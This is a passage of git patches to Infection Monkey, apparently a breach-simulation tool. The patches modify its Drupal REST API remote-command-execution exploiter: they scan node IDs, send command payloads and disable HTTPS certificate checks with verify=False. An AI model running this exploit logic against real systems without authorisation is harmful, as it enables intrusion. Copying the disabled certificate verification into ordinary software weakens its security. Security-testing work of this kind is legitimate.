8d017fb31..d1cf1f027 100644 --- a/monkey/infection_monkey/exploit/drupal.py +++ b/monkey/infection_monkey/exploit/drupal.py @@ -85,8 +85,6 @@ class DrupalExploiter(WebRCE): base = remove_port(url) payload = build_cmd_execution_payload(base, cmd) - LOG.info(payload) - r = requests.get(f'{url}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"}) if is_response_cached(r): @@ -96,7 +94,6 @@ class DrupalExploiter(WebRCE): LOG.warning('Command execution _may_ have failed') result = r.text.split(ID_STRING)[-1] - LOG.info(f'Drupal exploit result = {result}') return result def get_target_url(self): From 8e14e74d940de3a55e429afc2f5b7abaa7539d69 Mon Sep 17 00:00:00 2001 From: ophirharpazg Date: Tue, 1 Sep 2020 15:20:22 +0300 Subject: [PATCH 25/32] add a path for Bitnami installations of Drupal --- monkey/infection_monkey/exploit/drupal.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py index d1cf1f027..4340f1bc9 100644 --- a/monkey/infection_monkey/exploit/drupal.py +++ b/monkey/infection_monkey/exploit/drupal.py @@ -33,7 +33,8 @@ class DrupalExploiter(WebRCE): :return: the Drupal exploit config """ exploit_config = super(DrupalExploiter, self).get_exploit_config() - exploit_config['url_extensions'] = ['node/'] + exploit_config['url_extensions'] = ['node/', # In Linux, no path is added + 'drupal/node/'] # However, Bitnami installations are under /drupal return exploit_config def add_vulnerable_urls(self, potential_urls, stop_checking=False): From 93b978edac7349043d107378e2ee6dde9191a932 Mon Sep 17 00:00:00 2001 From: ophirharpazg Date: Tue, 1 Sep 2020 15:21:59 +0300 Subject: [PATCH 26/32] add a space --- .../cc/ui/src/components/report-components/SecurityReport.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index 250f90546..63749ced1 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -794,7 +794,7 @@ class ReportPageComponent extends AuthComponent { className="badge badge-danger">remote command execution attack.
        The attack was made possible because the server is using an old version of Drupal, for which REST API is - enabled. For possible workarounds and more info read + enabled. For possible workarounds, fixes and more info read here. From c7b51bfe19ff473481e3b292e8b9c85d256725ff Mon Sep 17 00:00:00 2001 From: ophirharpazg Date: Tue, 1 Sep 2020 15:42:46 +0300 Subject: [PATCH 27/32] print stack trace in exception --- monkey/infection_monkey/exploit/HostExploiter.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index 86c966c92..274d07329 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -73,8 +73,8 @@ class HostExploiter(Plugin): result = None try: result = self._exploit_host() - except Exception as e: - logger.warning(f'Exception in exploit_host: {e}') + except Exception as _: + logger.error(f'Exception in exploit_host', exc_info=True) finally: self.post_exploit() return result From 6efc7d8f8272285944c3230d1cf83b134ff0e211 Mon Sep 17 00:00:00 2001 From: ophirharpazg Date: Tue, 1 Sep 2020 15:43:08 +0300 Subject: [PATCH 28/32] don't verify HTTPS certificates --- monkey/infection_monkey/exploit/drupal.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py index 4340f1bc9..fc876641d 100644 --- a/monkey/infection_monkey/exploit/drupal.py +++ b/monkey/infection_monkey/exploit/drupal.py @@ -130,7 +130,7 @@ def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 100 articles = set() while lower < upper: node_url = urljoin(base_url, str(lower)) - response = requests.get(node_url) + response = requests.get(node_url, verify=False) if response.status_code == 200: if is_response_cached(response): LOG.info(f'Found a cached article at: {node_url}, skipping') From cb6e516e792d3c61c30971ed43005c7a96975a6d Mon Sep 17 00:00:00 2001 From: ophirharpazg Date: Tue, 1 Sep 2020 15:43:25 +0300 Subject: [PATCH 29/32] try to handle exceptions (not finished) --- monkey/infection_monkey/exploit/drupal.py | 25 +++++++++++++---------- 1 file changed, 14 insertions(+), 11 deletions(-) diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py index fc876641d..f28c002c3 100644 --- a/monkey/infection_monkey/exploit/drupal.py +++ b/monkey/infection_monkey/exploit/drupal.py @@ -46,17 +46,20 @@ class DrupalExploiter(WebRCE): :return: None (in-place addition) """ for url in potential_urls: - node_ids = find_exploitbale_article_ids(url) - if node_ids is None: - LOG.info('Could not find a Drupal node to attack') - continue - for node_id in node_ids: - node_url = urljoin(url, str(node_id)) - if self.check_if_exploitable(node_url): - self.add_vuln_url(url) # This is for report. Should be refactored in the future - self.vulnerable_urls.append(node_url) - if stop_checking: - break + try: + node_ids = find_exploitbale_article_ids(url) + if node_ids is None: + LOG.info('Could not find a Drupal node to attack') + continue + for node_id in node_ids: + node_url = urljoin(url, str(node_id)) + if self.check_if_exploitable(node_url): + self.add_vuln_url(url) # This is for report. Should be refactored in the future + self.vulnerable_urls.append(node_url) + if stop_checking: + break + except Exception as e: # We still don't know which errors to expect + LOG.error(f'url {url} failed in exploitability check: {e}') if not self.vulnerable_urls: LOG.info("No vulnerable urls found") From eb4f50a0ca309e589a2270396a4e67218e47872f Mon Sep 17 00:00:00 2001 From: ophirharpazg Date: Wed, 2 Sep 2020 00:17:02 +0300 Subject: [PATCH 30/32] keep path after removing port from URL --- monkey/common/network/network_utils.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/common/network/network_utils.py b/monkey/common/network/network_utils.py index 859bafb1f..e99d0cf2b 100644 --- a/monkey/common/network/network_utils.py +++ b/monkey/common/network/network_utils.py @@ -16,5 +16,5 @@ def get_host_from_network_location(network_location: str) -> str: def remove_port(url): parsed = urlparse(url) with_port = f'{parsed.scheme}://{parsed.netloc}' - without_port = re.sub(':[0-9]+$', '', with_port) + without_port = re.sub(':[0-9]+(?=$|\/)', '', with_port) return without_port From 702f5c1a41fcd5aa56ad655e17ee25ed54163500 Mon Sep 17 00:00:00 2001 From: ophirharpazg Date: Wed, 2 Sep 2020 00:17:46 +0300 Subject: [PATCH 31/32] verify=False for HTTPS requests --- monkey/infection_monkey/exploit/drupal.py | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py index f28c002c3..3a333d827 100644 --- a/monkey/infection_monkey/exploit/drupal.py +++ b/monkey/infection_monkey/exploit/drupal.py @@ -75,7 +75,8 @@ class DrupalExploiter(WebRCE): response = requests.get(f'{url}?_format=hal_json', json=payload, - headers={"Content-Type": "application/hal+json"}) + headers={"Content-Type": "application/hal+json"}, + verify=False) if is_response_cached(response): LOG.info(f'Checking if node {url} is vuln returned cache HIT, ignoring') @@ -89,8 +90,11 @@ class DrupalExploiter(WebRCE): base = remove_port(url) payload = build_cmd_execution_payload(base, cmd) - r = requests.get(f'{url}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"}) - + r = requests.get(f'{url}?_format=hal_json', + json=payload, + headers={"Content-Type": "application/hal+json"}, + verify=False) + if is_response_cached(r): LOG.info(f'Exploiting {url} returned cache HIT, may have failed') From b9186376f997da5fe229af7ccebe199d922eda73 Mon Sep 17 00:00:00 2001 From: ophirharpazg Date: Wed, 2 Sep 2020 00:18:12 +0300 Subject: [PATCH 32/32] add OS name to logs --- monkey/infection_monkey/monkey.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 07431bae9..a15a06edf 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -337,8 +337,8 @@ class InfectionMonkey(object): :return: True if successfully exploited, False otherwise """ if not exploiter.is_os_supported(): - LOG.info("Skipping exploiter %s host:%r, os is not supported", - exploiter.__class__.__name__, machine) + LOG.info("Skipping exploiter %s host:%r, os %s is not supported", + exploiter.__class__.__name__, machine, machine.os) return False LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__)